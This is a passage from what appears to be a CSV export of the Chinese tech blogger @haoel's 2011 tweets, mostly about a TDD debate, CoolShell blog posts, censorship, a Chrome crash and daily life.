人身攻击？！还是那句话，请你不要把我推向另一个极端。不是因为有不同意见就是人身攻击，就是黑什么什么，就是有目的的。这样想才是你说的——“没有谈问题，而是在谈行为”。到今天都没有人回答我说的TDD中的那些问题，而只是在攻击我的这个做法。呵呵。这样做有意义？,,https://twitter.com/haoel/status/85625998791557120\n5571,85625103022436352,2011-06-28 08:26:30+00:00,0,0,1,,@diamondtin 大哥，你觉得我BS方法论，BS TDD吗？请你不要把我推向一个极端。我只是告诉大家方法论和TDD并不一定是最好的，你要使用好它，你要注意那些不好的方面。,,https://twitter.com/haoel/status/85625103022436352\n5572,85623836858519552,2011-06-28 08:21:28+00:00,0,0,1,,@diamondtin 呵呵，你不觉得那么有一个公司，有一个强大的社区在夸大了TDD吗？,,https://twitter.com/haoel/status/85623836858519552\n5573,85602583842013184,2011-06-28 06:57:01+00:00,0,2,1,,这样的结对编程很过瘾啊 http://t.co/fR3pPOt,\"[TextLink(text='youtube.com/watch?v=O6VAU-…', url='http://www.youtube.com/watch?v=O6VAU-1qE5Y', tcourl='http://t.co/fR3pPOt', indices=(12, 31))]\",https://twitter.com/haoel/status/85602583842013184\n5574,85597105409892352,2011-06-28 06:35:14+00:00,0,0,1,,@don9z @diamondtin 另外，1）把观点不同就定义为“黑”才是不靠谱的事。2）看看敏捷社区引用了多少Bob大叔和Martin Flower，以及其它一堆堆的人的的观点，你觉得那样靠谱吗？3）表达观点和参加手谈有因果关系吗？4）我也是个程序员，编码15年了。,,https://twitter.com/haoel/status/85597105409892352\n5575,85592999844786176,2011-06-28 06:18:56+00:00,0,0,4,,@don9z @diamondtin 我和Coplien有过一样的思考。我也有过实践，所以我和他的很多观点很相似。我在《TDD并没有看上去的那样美》中说过了。我只是想告诉大家1）要学会独立思考，2）公司是有商业目的的。3）从业务、技术和团队出发而不是从方法论出发。,,https://twitter.com/haoel/status/85592999844786176\n5576,85572041645899776,2011-06-28 04:55:39+00:00,0,0,0,,酷壳 Coolshell.cn - 在函数外存取局部变量的一个比喻: 在StackOverflow上一这样一个关于C/C++的问题，问问题的人给了一个代码如下： int * foo… http://goo.gl/fb/IcbdQ,,https://twitter.com/haoel/status/85572041645899776\n5577,85519202798153729,2011-06-28 01:25:41+00:00,0,0,0,,@dinckham 淘宝商城这样下去必死无疑,,https://twitter.com/haoel/status/85519202798153729\n5578,85263936525582336,2011-06-27 08:31:21+00:00,0,1,1,,上周在淘宝商城上买到假货。商户解释说是发错了，我说那我上门来取，商户又解释说是库存没有了，需要进货。这个商户还是信用度很高的商户。可见，这种不控制物品，不控制服务，只控制交易和好评差评的电子商务最终是没有前途的。,,https://twitter.com/haoel/status/85263936525582336\n5579,85242017533272065,2011-06-27 07:04:15+00:00,0,0,0,,@zhiyelee 的确是网友恶 搞的。,,https://twitter.com/haoel/status/85242017533272065\n5580,85241974130622464,2011-06-27 07:04:05+00:00,0,0,1,,@4xy 是网友恶搞的。,,https://twitter.com/haoel/status/85241974130622464\n5581,85234024024510464,2011-06-27 06:32:29+00:00,0,0,0,,@JianfenXie 没错，是网友恶搞的。呵呵。,,https://twitter.com/haoel/status/85234024024510464\n5582,85232428070879232,2011-06-27 06:26:09+00:00,0,3,4,,看到腾讯的这个域名，我们还能说什么？ weib0.com,,https://twitter.com/haoel/status/85232428070879232\n5583,85163416506990592,2011-06-27 01:51:55+00:00,0,1,0,,酷壳 Coolshell.cn - Bob大叔和Jim Coplien对TDD的论战: 今年春节时，我写了一篇《TDD并不是看上去的那么美》，在这篇文章中我列举了一些关于使用TDD的一些… http://goo.gl/fb/7gAJo,,https://twitter.com/haoel/status/85163416506990592\n5584,83916114937131008,2011-06-23 15:15:35+00:00,0,0,0,,@gaff agree with you. You were stupid. You should swim to home. Like me.,,https://twitter.com/haoel/status/83916114937131008\n5585,83740955613728769,2011-06-23 03:39:34+00:00,0,0,0,,酷壳 Coolshell.cn - 排序算法 Sleep Sort: 排序算法好像是程序员学习编程最多的算法，也可能是算法研究者们最喜欢研究的算法了。排序有很多很多的算法，比如，冒泡… http://goo.gl/fb/brSou,,https://twitter.com/haoel/status/83740955613728769\n5586,83736068343599105,2011-06-23 03:20:09+00:00,0,0,0,,@iwangbin 呵呵，这是我twitter上的帐号。,,https://twitter.com/haoel/status/83736068343599105\n5587,82410307204558848,2011-06-19 11:32:03+00:00,0,0,0,,a founding of an ass party why not kiss the party ass? http://t.co/M0PPtCb,\"[TextLink(text='imdb.com/title/tt169951…', url='http://www.imdb.com/title/tt1699513/usercomments', tcourl='http://t.co/M0PPtCb', indices=(55, 74))]\",https://twitter.com/haoel/status/82410307204558848\n5588,81533422190854145,2011-06-17 01:27:37+00:00,0,0,0,,\"@FrankFang @virushuo @MapleShadow 那篇文章并不是很成熟，可以看看我近期的文章\nhttp://t.co/DZzUf7D ,http://t.co/BMGPoyu\",\"[TextLink(text='coolshell.cn/articles/4506.…', url='http://coolshell.cn/articles/4506.html', tcourl='http://t.co/DZzUf7D', indices=(56, 75)), TextLink(text='coolshell.cn/articles/4490.…', url='http://coolshell.cn/articles/4490.html', tcourl='http://t.co/BMGPoyu', indices=(77, 96))]\",https://twitter.com/haoel/status/81533422190854145\n5589,81296736441741312,2011-06-16 09:47:07+00:00,1,1,0,,有没有坏人胜利的故事？有——《建党伟业》,,https://twitter.com/haoel/status/81296736441741312\n5590,81178752616366080,2011-06-16 01:58:17+00:00,1,1,0,,酷壳 Coolshell.cn - “另类” 设计模式: 下面这篇文章来自这里：http://www.lsd.ic.unicamp.br/~oliva/fun/prog/resign… http://goo.gl/fb/K776f,,https://twitter.com/haoel/status/81178752616366080\n5591,80518755519700992,2011-06-14 06:15:41+00:00,4,4,2,,[少儿不宜] 仔细欣赏正宗日本充气娃娃，被震撼了! 这种高级货得多少钱呐？http://t.co/M182Q4E,\"[TextLink(text='goo.gl/Wa94J', url='http://goo.gl/Wa94J', tcourl='http://t.co/M182Q4E', indices=(37, 56))]\",https://twitter.com/haoel/status/80518755519700992\n5592,80086242481541121,2011-06-13 01:37:02+00:00,0,0,0,,酷壳 Coolshell.cn - GNU/Linux下有多少是GNU的？: 一个葡萄牙的学生写了一篇文章 《How much GNU is there in GNU/Linux… http://goo.gl/fb/jGej6,,https://twitter.com/haoel/status/80086242481541121\n5593,79186487840743424,2011-06-10 14:01:44+00:00,0,0,0,,@krafttuc 谢谢关注啊。,,https://twitter.com/haoel/status/79186487840743424\n5594,78279307818041344,2011-06-08 01:56:56+00:00,1,1,0,,酷壳 Coolshell.cn - 开源中最好的Web开发的资源: 文章来源：Best “must know” open sources to build the new Web。个人… http://goo.gl/fb/ccpSX,,https://twitter.com/haoel/status/78279307818041344\n5595,77920117622714368,2011-06-07 02:09:38+00:00,0,0,0,,@mikeandmore2 恭喜啊。,,https://twitter.com/haoel/status/77920117622714368\n5596,77903122390982656,2011-06-07 01:02:06+00:00,2,4,0,,酷壳 Coolshell.cn - HTTP幂等性概念和应用: [ 感谢 Todd 同学投递本文 ] 基于HTTP协议的Web API是时下最为流行的一种分布式服务提供方式。无论是在大型… http://goo.gl/fb/CbsLW,,https://twitter.com/haoel/status/77903122390982656\n5597,77753654865707008,2011-06-06 15:08:10+00:00,2,3,0,,今天看到很多人都在说Google 的 O3B廉价卫星上网计划，说他是方校长和克星。如果你这样想你就错了，先不说能不能架一个卫星天线，单说要屏蔽和干扰个卫星信号并不是一件复杂的事情。要达到真正的翻墙，一定要是人肉翻墙。,,https://twitter.com/haoel/status/77753654865707008\n5598,77020191967551488,2011-06-04 14:33:39+00:00,0,0,0,,李娜不会打出两个6:4来吧，如果是这样的话，那就太有意思了。,,https://twitter.com/haoel/status/77020191967551488\n5599,76462951762100224,2011-06-03 01:39:22+00:00,0,2,0,,GFW近两年不像以前那样有“页面一闪就被重置”的情况了，这说明1)GFW里的敏感词太多2)翻墙的越来越多3)实时检查网页太耗性能4)GFW的性能跟不上。所以，也就只能在Google搜索的URL里匹配关键词罢了。如果Google把搜索关键词加密一下，GFW目前的策略应该就失效了。,,https://twitter.com/haoel/status/76462951762100224\n5600,76461142154821634,2011-06-03 01:32:11+00:00,0,0,0,,酷壳 Coolshell.cn - 如何写出无法维护的代码: 酷壳里有很多我觉得很不错的文章，但是访问量最大的却是那篇《6个变态的Hello World》，和它能在本站左边栏“全站热门… http://goo.gl/fb/4yU64,,https://twitter.com/haoel/status/76461142154821634\n5601,72808378845503488,2011-05-23 23:37:24+00:00,0,0,0,,视频: 通往天堂的階梯 http://t.cn/h968hM,,https://twitter.com/haoel/status/72808378845503488\n5602,72557896088567808,2011-05-23 07:02:05+00:00,0,2,0,,今天从西雅图的 Mountain Rainier山上下来的时候，看到一只像狐狸的动物在路边向我们乞求吃的，但是美国的法律不允许向野生动物喂食，我们不得不离去。不过，这个眼神深深地印在了我们的心中，让我们一路内疚……  http://goo.gl/X7VtP,,https://twitter.com/haoel/status/72557896088567808\n5603,72183994309021696,2011-05-22 06:16:20+00:00,0,0,0,,在西雅图对比了一下和北京的物价，在同等物质水平下，明显是西雅图的物价便宜。,,https://twitter.com/haoel/status/72183994309021696\n5604,71967441093279744,2011-05-21 15:55:49+00:00,1,1,0,,How Amazon Controls Ecommerce (Slides) 推荐一看，尤其是浮燥的互联网。http://t.co/nTUSmv0 via @techcrunch,\"[TextLink(text='tcrn.ch/jc2Uzr', url='http://tcrn.ch/jc2Uzr', tcourl='http://t.co/nTUSmv0', indices=(54, 73))]\",https://twitter.com/haoel/status/71967441093279744\n5605,71250644069122048,2011-05-19 16:27:31+00:00,0,0,0,,@janlay 哈哈！是我做了一个错误的假设。雅虎的Crockford 是何许人也？,,https://twitter.com/haoel/status/71250644069122048\n5606,71249733548642304,2011-05-19 16:23:54+00:00,1,1,0,,极客进化史 http://ww1.sinaimg.cn/large/677c6c18jw1dhcl7ddug8j.jpg,,https://twitter.com/haoel/status/71249733548642304\n5607,71249253514756096,2011-05-19 16:22:00+00:00,0,0,0,,@janlay 同意！只是不同的人对复杂和简单会有不同的认识。你们老师面对全班那么多人，那样教还是比较稳妥的。要说不好，也是不好在你们的老师没有告诉你们这背后的事，没有让们你自己去选择。只是给了一个标准答案——标准答案是中国教育最失败的地方。,,https://twitter.com/haoel/status/71249253514756096\n5608,71247317243658240,2011-05-19 16:14:18+00:00,0,0,0,,\"@janlay 你们的老师是对的。如果你知道 i++的各种undefined 行为你也会同意你的老师的。比如 printf(\"\"%d %d %d\"\", i, i--, i++); 比如  a+= (a++) + (a++)。\",,https://twitter.com/haoel/status/71247317243658240\n5609,71079797882761216,2011-05-19 05:08:39+00:00,0,0,0,,@CorndogCN 所谓的+1就是提前一个月通知了。也就是说，多给你一个月的薪水，但你可以不来。或是，你再来一个月领一个月的工资。这两者的区别在于，前者你可以不用来公司上班了，来也没有意义了。而后者你还有一个月的五险一金。,,https://twitter.com/haoel/status/71079797882761216\n5610,71071888247492608,2011-05-19 04:37:13+00:00,1,3,0,,一名卧底“五毛党”的私密日记 http://blog.sina.com.cn/s/blog_5f0b84100100rmvo.html,,https://twitter.com/haoel/status/71071888247492608\n5611,71071309865566208,2011-05-19 04:34:55+00:00,0,2,0,,幼儿园演练防拐骗 1个iPad骗走10个小朋友 http://cnbeta.com/articles/143280.htm //可见，iPad就是一个玩具。,,https://twitter.com/haoel/status/71071309865566208\n5612,71032965370613760,2011-05-19 02:02:33+00:00,1,2,0,,酷壳 Coolshell.cn - 在Web上运行Linux: 一个叫Fabrice Bellard的程序员写了一段Javascript在Web浏览器中启动Linux（原网页，我把这个… http://goo.gl/fb/CjWxn,,https://twitter.com/haoel/status/71032965370613760\n5613,71002424881586176,2011-05-19 00:01:11+00:00,1,0,0,,Why Google’s hiring process is broken。http://t.cn/heNNvQ，不过，我并不认同其中的观点，因为他们并不了解那种面试后面的东西。（我在酷壳的“再谈如何招聘程序员”说到了如何通过面试了解程序员http://t.cn/hdLouf）,,https://twitter.com/haoel/status/71002424881586176\n5614,70675119827197952,2011-05-18 02:20:36+00:00,0,0,0,,@perrywky 看看我给他们log的bug - http://code.google.com/p/chromium/issues/detail?id=82720,,https://twitter.com/haoel/status/70675119827197952\n5615,70668983820488704,2011-05-18 01:56:13+00:00,0,3,0,,浙江一名婴儿接种卡介疫苗后全身萎缩(图) http://news.163.com/11/0517/16/7494PQPF00011229.html,,https://twitter.com/haoel/status/70668983820488704\n5616,70651798108643329,2011-05-18 00:47:55+00:00,2,1,0,,酷壳 Coolshell.cn - Python 和 PyGame 的一些示例: 看到一个网页收集了很多使用Python和PyGame写游戏的示例，分享给大家。（注：我不知道用… http://goo.gl/fb/xZn6D,,https://twitter.com/haoel/status/70651798108643329\n5617,70214727715930114,2011-05-16 19:51:10+00:00,0,0,0,,@hongyiwang 谢谢提醒！！！,,https://twitter.com/haoel/status/70214727715930114\n5618,69978633845997568,2011-05-16 04:13:01+00:00,0,0,0,,为证都办到App Store去了，强大啊。http://t.cn/het2uY,,https://twitter.com/haoel/status/69978633845997568\n5619,69637163117056000,2011-05-15 05:36:08+00:00,0,0,0,,\"在西雅图Downtown里乱走，走到一条小巷，不起眼，但我看到有两个人在那里照相，就过去看了一下，结果发现了这样的一面墙， 很壮观！  http://t.cn/heq0b5, http://t.cn/heq0bt, http://t.cn/heq0bc\",,https://twitter.com/haoel/status/69637163117056000\n5620,69624931612246017,2011-05-15 04:47:31+00:00,0,0,0,,我把Google Chrome Crash这个问题报告给Google Chrome了，细节都在那里了 - http://t.cn/heqM7r,,https://twitter.com/haoel/status/69624931612246017\n5621,69624733544628224,2011-05-15 04:46:44+00:00,0,0,0,,@bnu_chenshuo  可能是你用的是Administrator操作电脑，而我是用一个Domain 用户其在本地管理员组内。,,https://twitter.com/haoel/status/69624733544628224\n5622,69599354532536321,2011-05-15 03:05:53+00:00,0,0,0,,@haoel 解决这个问题花了我近两个月的时间。shit !,,https://twitter.com/haoel/status/69599354532536321\n5623,69598926675787776,2011-05-15 03:04:11+00:00,1,0,0,,终于解决了Chrome 在 Windows 7 64bits下频繁Crash的问题了，在调试了Chrome以后，发现是Crash的原因是一个“非法指令”，于是我使用管理员权限启动Chrome，一切正常了。Shit !!!,,https://twitter.com/haoel/status/69598926675787776\n5624,69456457745182720,2011-05-14 17:38:04+00:00,1,0,0,,Kylie Minogue-Come Into My World 经典舞曲。盗梦空间，时间穿梭都顶不上这个长镜头。http://t.cn/hqDcBi,,https://twitter.com/haoel/status/69456457745182720\n5625,69449451827245056,2011-05-14 17:10:14+00:00,0,0,0,,这个会不会成为下一个神曲呢？http://t.cn/hePJK2,,https://twitter.com/haoel/status/69449451827245056\n5626,68357236275159040,2011-05-11 16:50:09+00:00,0,0,0,,@hecaitou 很想和菜头认识一下。,,https://twitter.com/haoel/status/68357236275159040\n5627,67672414728880128,2011-05-09 19:28:55+00:00,1,5,0,,性爱科教片拍成这样多牛啊。http://t.cn/h5mHUp,,https://twitter.com/haoel/status/67672414728880128\n5628,67577557708574720,2011-05-09 13:11:59+00:00,0,0,0,,如果是政府干这个事，一定会被百姓骂死。为什么Google干这个事会cool呢？这事的确是无聊透顶啊。@zckevin ...“Larry和Sergey二人曾经考虑将Google logo通过激光打到月亮上去，那样的话简直酷毙了。”,,https://twitter.com/haoel/status/67577557708574720\n5629,67259617364815872,2011-05-08 16:08:37+00:00,0,0,0,,@weijianwen 见笑了。,,https://twitter.com/haoel/status/67259617364815872\n5630,66914458303348736,2011-05-07 17:17:04+00:00,0,0,0,,@Fykalviny 我们两是新浪twitter一起来啊。哈哈。,,https://twitter.com/haoel/status/66914458303348736\n5631,66911372843290624,2011-05-07 17:04:49+00:00,0,0,0,,旧金山候机，我的周围有3台macbook，4个iPad，还有5个人在玩iPhone，加上我有3个有在玩wintel的laptop.,,https://twitter.com/haoel/status/66911372843290624\n5632,66903666518528001,2011-05-07 16:34:11+00:00,0,0,0,,在旧金山候机去西雅图，没有墙的生活真好。,,https://twitter.com/haoel/status/66903666518528001\n5633,65689429196546048,2011-05-04 08:09:15+00:00,3,0,0,,酷壳 Coolshell.cn - 可视化的数据结构和算法: 还记得之前发布过的那个关于可视化排序的文章吗？在网上又看到了一个旧金山大学David Galles做的各种可视化的数据结构和… http://goo.gl/fb/3LVD3,,https://twitter.com/haoel/status/65689429196546048\n5634,65604876419338241,2011-05-04 02:33:16+00:00,0,1,0,,酷壳 Coolshell.cn - 狗日的开源软件许可证: 你知道这个世上有多少种开源软件的许可证吗？GPL，BSD，MIT，Apache？GUN上有个网页，上面记录了几乎所有的开源软件… http://goo.gl/fb/6Jayr,,https://twitter.com/haoel/status/65604876419338241\n5635,65256641897050113,2011-05-03 03:29:30+00:00,3,0,0,,酷壳 Coolshell.cn - 读书笔记：对线程模型的批评: ——感谢Ian.Sian投递本文—— 多线程模型是主流的并发编程模型。在过去几十年来，多线程模型一直是开发并发程序的有力… http://goo.gl/fb/GE1Hd,,https://twitter.com/haoel/status/65256641897050113\n5636,65239447633002496,2011-05-03 02:21:11+00:00,0,0,0,,@tanjob static 变量只要不是全局全量，其在声明时的初始化应该是线程安全的。,,https://twitter.com/haoel/status/65239447633002496\n5637,65224296011800576,2011-05-03 01:20:58+00:00,0,0,0,,@tanjob static在声明的时候初始化，编译器能就保多线程情况下不会被多次初始化。,,https://twitter.com/haoel/status/65224296011800576\n5638,65221341648916480,2011-05-03 01:09:14+00:00,0,0,0,,@tanjob 如何保证？你问的是编译器的实现吧。如果从编译器实现的角度，这个我想不难吧。@haoel 问个问题，C编译器如何保证static变量只被初始化一次？,,https://twitter.com/haoel/status/65221341648916480\n5639,63545450573209600,2011-04-28 10:09:50+00:00,0,0,0,,@turingbook 我也不知道内部出了什么事，作为内部员工，我还不参加了。谢谢你。@haoel Amazon这次事故「程序员」杂志准备做一个小专题，你有兴趣参加吗,,https://twitter.com/haoel/status/63545450573209600\n5640,63479013955477504,2011-04-28 05:45:50+00:00,1,0,0,,酷壳 Coolshell.cn - Amazon的书为什么卖到了$2000万: 最近，Amazon的新闻比较多，除了Amazon的云平台宕机外，还有一个被热炒的新闻是在Amazon的书店… http://goo.gl/fb/pMPol,,https://twitter.com/haoel/status/63479013955477504\n5641,63297509119889409,2011-04-27 17:44:36+00:00,1,0,0,,酷壳 Coolshell.cn - 关于Amazon云宕机的网贴收集: 最近，互联网上最大的事可能是Amazon的AWS宕机了，而且好几天都没有完全恢复。整个Internet都在讨论这个… http://goo.gl/fb/u4IKC,,https://twitter.com/haoel/status/63297509119889409\n5642,63229215948021760,2011-04-27 13:13:14+00:00,1,0,0,,The Big List of Articles on the Amazon Outage http://t.co/xCQ2Yma,\"[TextLink(text='highscalability.com/blog/2011/4/25…', url='http://highscalability.com/blog/2011/4/25/the-big-list-of-articles-on-the-amazon-outage.html', tcourl='http://t.co/xCQ2Yma', indices=(46, 65))]\",https://twitter.com/haoel/status/63229215948021760\n5643,63227418198032384,2011-04-27 13:06:05+00:00,0,0,0,,Amazon AWS 中断时间表及恢复策略 http://t.cn/hdrLJX,,https://twitter.com/haoel/status/63227418198032384\n5644,63078394669178880,2011-04-27 03:13:55+00:00,2,12,0,,酷壳 Coolshell.cn - Linux 2.6.39-rc3的一个插曲: 2011年4月12日，Linux 2.6.39-rc3发布了，Linus Torvalds写了一个发布… http://goo.gl/fb/EiTpK,,https://twitter.com/haoel/status/63078394669178880\n5645,62752334849122304,2011-04-26 05:38:17+00:00,0,1,0,,酷壳 Coolshell.cn - 对程序员职业的一些建议: 自从四年前被CSDN采访后（“职业规化就像软件工程”），经常会有网友（尤其是刚毕业的）写邮件来问我一些程序员职业生涯的一些… http://goo.gl/fb/vo8SN,,https://twitter.com/haoel/status/62752334849122304\n5646,62509647231336448,2011-04-25 13:33:55+00:00,0,0,0,,全国人大官网上的对新的“个税修正法”征求意见的页面，打都不打不开，难不成也被GFW了？!http://www.npc.gov.cn/COBRS_LFYJ/user/Law.jsp,,https://twitter.com/haoel/status/62509647231336448\n5647,62399092772450304,2011-04-25 06:14:37+00:00,0,1,0,,酷壳 Coolshell.cn - Facebook 的系统架构: 来源：http://www.quora.com/What-is-Facebooks-architecture （由… http://goo.gl/fb/LhhWk,,https://twitter.com/haoel/status/62399092772450304\n5648,62343175276199937,2011-04-25 02:32:25+00:00,0,1,0,,酷壳 Coolshell.cn - 一些软件设计的原则: 以前本站向大家介绍过一些软件开发的原则，比如优质代码的十诫和Unix传奇(下篇)中所以说的UNIX的设计原则。相信大家从中能够从… http://goo.gl/fb/i9D6A,,https://twitter.com/haoel/status/62343175276199937\n5649,60588534129639425,2011-04-20 06:20:06+00:00,1,0,0,,@llbgurs 没错 @haoel 很多时候面试官由于知道答案，心里有优势感的存在，导致连面试的目的都忘掉了,,https://twitter.com/haoel/status/60588534129639425\n5650,60548347739635712,2011-04-20 03:40:25+00:00,2,0,0,,相信大家在面对一些很没有水平的面试官，心里面都会对要不要进这个企业产生怀疑。面试是一个双向面试的过程，你面试别人的时候，别人也在面试你。很多面试官似科不明白这个道理.,,https://twitter.com/haoel/status/60548347739635712\n5651,60511098566217728,2011-04-20 01:12:24+00:00,1,1,0,,酷壳 Coolshell.cn - 再谈“我是怎么招聘程序员的”（上）: 我以前写过一篇“我是怎么招聘程序员的”的文章（在CSDN那里有很多人进行了回复）。今天，我想再谈谈关于招聘和面试… http://goo.gl/fb/euQan,,https://twitter.com/haoel/status/60511098566217728\n5652,60511095638597632,2011-04-20 01:12:24+00:00,0,1,0,,酷壳 Coolshell.cn - 再谈“我是怎么招聘程序员的”（下）: &lt;&lt;&lt;再谈“我是怎么招聘程序员的”（上） 在上篇中，我们说到了一些认识人的方法（操作，知识，经验，能力），还有… http://goo.gl/fb/s0WYo,,https://twitter.com/haoel/status/60511095638597632\n5653,59963447701549056,2011-04-18 12:56:14+00:00,0,0,0,,最新的Chrome崩溃地好猛啊，而且不知道怎么Downgrade到低版本，哎，对Chrome有点失望了。,,https://twitter.com/haoel/status/59963447701549056\n5654,59796994885025792,2011-04-18 01:54:49+00:00,0,0,0,,20年Web发展图 http://mashable.com/2011/04/17/web-design-evolution/,,https://twitter.com/haoel/status/59796994885025792\n5655,57982007933800448,2011-04-13 01:42:42+00:00,0,0,0,,酷壳 Coolshell.cn - BT雷人的程序语言（大全）: 还记得以前本站的BT雷人的程序语言吗？除了那几个Brainfuck，LOLCODE和WhiteSpace，我以为这些是… http://goo.gl/fb/X8IEQ,,https://twitter.com/haoel/status/57982007933800448\n5656,57375977067646976,2011-04-11 09:34:33+00:00,1,1,0,,\"索罗斯说中国的通胀到了无法控制的时候了。China Inflation Is `Somewhat Out of Control’ on Weak Currency, Soros Says http://t.cn/hrqRku\",,https://twitter.com/haoel/status/57375977067646976\n5657,57262998250729472,2011-04-11 02:05:37+00:00,0,0,0,,酷壳 Coolshell.cn - 面试题：火车运煤问题: 这个可能是一个比较经典的智力题了，和以前的那个《赛马问题》很相似，其题目如下： 你是山西的一个煤老板，你在矿区开采了有3000… http://goo.gl/fb/0IJVs,,https://twitter.com/haoel/status/57262998250729472\n5658,56924395192590336,2011-04-10 03:40:08+00:00,2,1,0,,Stop inventing motherf**king build systems  http://en.wikipedia.org/wiki/List_of_build_automation_software,,https://twitter.com/haoel/status/56924395192590336\n5659,56607303788535808,2011-04-09 06:40:07+00:00,0,0,0,,如何选择开源license -  http://cl.ly/5nAo,,https://twitter.com/haoel/status/56607303788535808\n5660,56198417768132608,2011-04-08 03:35:21+00:00,0,0,0,,\"@gaff hopefully, you had good talk last night. and you can take me to there to try.\",,https://twitter.com/haoel/status/56198417768132608\n5661,56152091743371265,2011-04-08 00:31:16+00:00,1,0,0,,酷壳 Coolshell.cn - Eclipse开发Android应用程序入门:重装上阵: 翻译:赵锟 原文：http://www.smashingmagazine.com/2011… http://goo.gl/fb/DyKSL,,https://twitter.com/haoel/status/56152091743371265\n5662,56043941673447424,2011-04-07 17:21:31+00:00,0,5,0,,ZT 前有几个卖面包的，一个叫浪浪牌面包，一个叫腾腾牌面包，一个叫搜搜牌面包，一个叫易易牌面包，各品牌竞争很激烈。突然有一天，浪浪牌面包改名了，其它几个品牌瞬间石化。原来它改叫面包牌面包。,,https://twitter.com/haoel/status/56043941673447424\n5663,55921677946728448,2011-04-07 09:15:41+00:00,1,0,0,,酷壳 Coolshell.cn - Eclipse开发Android应用程序入门: By Chris Blunt 翻译：赵锟 原文出处：http://www… http://goo.gl/fb/iGFsb,,https://twitter.com/haoel/status/55921677946728448\n5664,55820295247892481,2011-04-07 02:32:50+00:00,0,0,0,,酷壳 Coolshell.cn - 程序员的谎谬之言还是至理名言？: 有朋友（网友never）在酷壳Coolshell.cn的留言版上问我，为什么关注了这很多的东西，我想我可以用下文来… http://goo.gl/fb/NrB84,,https://twitter.com/haoel/status/55820295247892481\n5665,55652006521610240,2011-04-06 15:24:06+00:00,0,0,0,,酷壳 Coolshell.cn - JavaMail使用: （本文由网友jjzhx_1211投递，感谢!） 使用JavaMail需要两个包：activation-1.1.jar和mail… http://goo.gl/fb/vpH84,,https://twitter.com/haoel/status/55652006521610240\n5666,55650779402481665,2011-04-06 15:19:14+00:00,0,0,0,,@kenny_yuan 我在北京，居然还有优惠？另，北京的停车费都涨了2-3倍了。,,https://twitter.com/haoel/status/55650779402481665\n5667,55639443582885888,2011-04-06 14:34:11+00:00,0,0,0,,@don9z 上一推中打多了一个“不”字。应该是“建议你还是多捂一点”。呵。另，不客气啊，正好看见了，举手之劳罢了。,,https://twitter.com/haoel/status/55639443582885888\n5668,55638862357204992,2011-04-06 14:31:53+00:00,0,0,0,,哎，也只能抱怨一下发发牢骚了。@kenny_yuan 原来3块多的时候天天喊贵，现在我终于麻木了 RT @haoel: 油价又涨了，以前不开车不知道，现在开车了终于知道了赖昌星同学为平易油价和破除垄断做的贡献了。,,https://twitter.com/haoel/status/55638862357204992\n5669,55636903084568576,2011-04-06 14:24:06+00:00,0,0,0,,@don9z 是啊，白天比较热，但早晚比较冷，我现在的装束是长袖T恤+一件厚一点的外套。在一些没有太阳的地方如果有风还是有点凉的。北方讲究“春捂秋冻”，所以不还建议你多捂一点。:-),,https://twitter.com/haoel/status/55636903084568576\n5670,55634607978192896,2011-04-06 14:14:58+00:00,0,0,0,,@don9z 北京降温了，早晚比较冷，厚一点的外套+长袖T恤应该可以，但还是建议你多穿一件背心或马甲。,,https://twitter.com/haoel/status/55634607978192896\n5671,55633910880669697,2011-04-06 14:12:12+00:00,0,0,0,,油价又涨了，以前不开车不知道，现在开车了终于知道了赖昌星同学为平易油价和破除垄断做的贡献了。,,https://twitter.com/haoel/status/55633910880669697\n5672,55435839202803712,2011-04-06 01:05:08+00:00,2,1,0,,酷壳 Coolshell.cn - 一些有意思的文章和资源: 又到了向大家介绍一些最近我在网上发现的有价值的东西的时候了。（下面的链接中很多都被墙） - 以前向大家介绍过《一些重要的算法… http://goo.gl/fb/QDxqF,,https://twitter.com/haoel/status/55435839202803712\n5673,55071842192457728,2011-04-05 00:58:45+00:00,0,0,0,,孔庆东：谷歌在中国即使不违法也不是好东西 http://tv.v1.cn/khs/2011-4-1/1301637942798v.shtml,,https://twitter.com/haoel/status/55071842192457728\n5674,54893337248935936,2011-04-04 13:09:26+00:00,0,0,0,,\"@gaff it's great day, and I believe ZPark has less people and quiet environment.\",,https://twitter.com/haoel/status/54893337248935936\n5675,54087653435506688,2011-04-02 07:47:56+00:00,0,0,0,,HTML5做的音乐visualization - http://9elements.com/io/projects/html5/canvas/,,https://twitter.com/haoel/status/54087653435506688\n5676,54072683066961920,2011-04-02 06:48:26+00:00,0,3,0,,酷壳 Coolshell.cn - 我有一个Hello World的C++程序编译不过: 在StackOverflow上有这样一个贴子，楼主说，我有下面这样的一个C++程序，为什么编译不… http://goo.gl/fb/rOlyo,,https://twitter.com/haoel/status/54072683066961920\n5677,54052723502489600,2011-04-02 05:29:08+00:00,0,0,0,,强大的飞行机器人 http://www.youtube.com/watch?v=3CR5y8qZf0Y,,https://twitter.com/haoel/status/54052723502489600\n5678,54032808116633600,2011-04-02 04:09:59+00:00,0,0,0,,我觉得你的决定是正确的。@don9z 想在倒是不后悔弃掉用了5，6年，做了不少项目的 Java，而改为C，然后工作的。Sun 也真是脑子不好使，卖给 IBM 多好，Oracle 可是出了名的 bastard,,https://twitter.com/haoel/status/54032808116633600\n5679,54029414916308992,2011-04-02 03:56:30+00:00,0,0,0,,@kenny_yuan 嗯说的没错，访问连续的内存块要快于不连续的内存块,,https://twitter.com/haoel/status/54029414916308992\n5680,54023703431876608,2011-04-02 03:33:49+00:00,0,0,0,,@kenny_yuan 好像是个方面，能具体说说吗？,,https://twitter.com/haoel/status/54023703431876608\n5681,54022172330569728,2011-04-02 03:27:44+00:00,1,0,0,,酷壳 Coolshell.cn - 有一个有趣的面试题: 大家还记得前些天的那个火柴棍式的面试题吗？很有趣吧。下面是我今天在StackExchange上看到的一个有趣的面试题。大家不妨一… http://goo.gl/fb/eLSDc,,https://twitter.com/haoel/status/54022172330569728\n5682,54021028690665472,2011-04-02 03:23:11+00:00,0,0,0,,@robbinfan Oracle的logo中的O就是魔戒里的索罗之眼。,,https://twitter.com/haoel/status/54021028690665472\n5683,54013148021264384,2011-04-02 02:51:52+00:00,0,0,0,,FBI让Puzzle Fans帮助解决一谋杀案http://www.telegraph.co.uk/technology/news/8416043/FBI-appeals-to-puzzle-fans-for-help-solving-murder-case.html,,https://twitter.com/haoel/status/54013148021264384\n5684,54010987401052160,2011-04-02 02:43:17+00:00,0,0,0,,关于团购网站，想和大家交流一下。我的理解是——其很容易被复制，似乎没有核心竞争力。而且目前的市场很不规范，很容易出现劣币驱逐良币的情况，我怀疑在未来会有更好的模式把其取代。,,https://twitter.com/haoel/status/54010987401052160\n5685,53814970709852160,2011-04-01 